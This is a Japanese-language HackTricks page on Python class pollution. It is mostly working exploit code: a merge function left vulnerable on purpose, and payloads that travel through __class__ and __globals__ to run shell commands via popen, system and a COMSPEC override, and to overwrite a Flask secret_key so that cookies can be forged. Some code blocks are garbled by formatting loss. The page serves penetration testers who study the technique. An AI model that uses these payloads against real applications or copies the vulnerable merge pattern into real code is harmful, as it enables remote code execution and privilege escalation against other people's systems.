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Class Pollution (Python's Prototype Pollution)

htARTE（HackTricks AWS Red Team Expert） でゼロからヒーローまでAWSハッキングを学ぶ！

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基本的な例

文字列でオブジェクトのクラスを汚染する方法を確認してください：

class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

基本的な脆弱性の例

# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

ガジェットの例

クラスプロパティのデフォルト値をRCE（サブプロセス）に設定する

```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"

</details>

<details>

<summary><code>globals</code>を通じて他のクラスやグローバル変数を汚染する</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
任意のサブプロセスの実行

```python import subprocess, json

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var "COMSPEC" to execute a calc

USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

</details>

<details>

<summary>__kwdefaults__の上書き</summary>

**`__kwdefaults__`**は、すべての関数の特別な属性です。Pythonの[ドキュメント](https://docs.python.org/3/library/inspect.html)によると、これは「**キーワード専用**パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御できます。これらは\*または\*argsの後に来る関数のパラメータです。
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
別ファイルでFlaskのsecretを上書きする

したがって、WebのメインPythonファイルで定義されたオブジェクトにクラスポリューションを行うことができますが、そのクラスがメインファイルとは異なるファイルで定義されています。前述のペイロードで__globals__にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、そのファイルのグローバルにアクセスできますが、メインファイルではできません。 したがって、メインページでsecret keyを定義したFlaskアプリのグローバルオブジェクトにアクセスすることはできません：

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

このシナリオでは、メインファイルにアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで特権を昇格させるために、ファイルをトラバースするガジェットが必要です。

このようなペイロードは、この解説から取得できます：

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

このペイロードを使用して、app.secret_key（アプリ内の名前は異なる場合があります）を変更して、新しい特権を持つFlaskクッキーに署名できるようにします。

読み取り専用のガジェットについても次のページをチェックしてください：

pagePython Internal Read Gadgets

参考文献

htARTE（HackTricks AWS Red Team Expert）でAWSハッキングをゼロからヒーローまで学びましょう htARTE（HackTricks AWS Red Team Expert）!

HackTricksをサポートする他の方法：

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